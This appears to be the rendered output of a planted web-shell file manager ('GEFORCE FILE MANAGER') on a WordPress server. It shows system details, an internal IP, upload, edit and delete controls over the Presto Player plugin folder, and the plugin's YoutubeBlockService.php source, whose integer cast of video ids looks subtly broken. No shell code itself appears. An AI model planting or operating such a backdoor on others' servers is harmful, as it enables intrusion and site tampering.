[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
presto-player
/
inc
/
Services
/
Blocks
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 PopupTriggerService.php
3,030 B
SET
[ EDIT ]
|
[ DEL ]
📄 VimeoBlockService.php
961 B
SET
[ EDIT ]
|
[ DEL ]
📄 YoutubeBlockService.php
1,057 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: YoutubeBlockService.php
<?php namespace PrestoPlayer\Services\Blocks; class YoutubeBlockService { public function register() { add_action( 'wp_get_attachment_url', array( $this, 'replaceLink' ), 10, 2 ); } public function replaceLink( $url, $post_id ) { $type = get_post_meta( $post_id, 'presto_video_type', true ); $external_id = get_post_meta( $post_id, 'presto_external_id', true ); if ( $type !== 'youtube' ) { return $url; } return 'https://www.youtube.com/watch?v=' . (int) $external_id; } /** * Get video data from remote * * @param string $id * @return array */ public function getRemoteVideoData( $id ) { $response = wp_remote_get( add_query_arg( array( 'format' => 'json', 'url' => esc_url_raw( 'https://www.youtube.com/watch?v=' . $id ), ), 'https://www.youtube.com/oembed' ) ); // handle errors silently since it's progressive enhancement if ( is_wp_error( $response ) ) { return null; } $body = wp_remote_retrieve_body( $response ); return json_decode( $body, true ); } }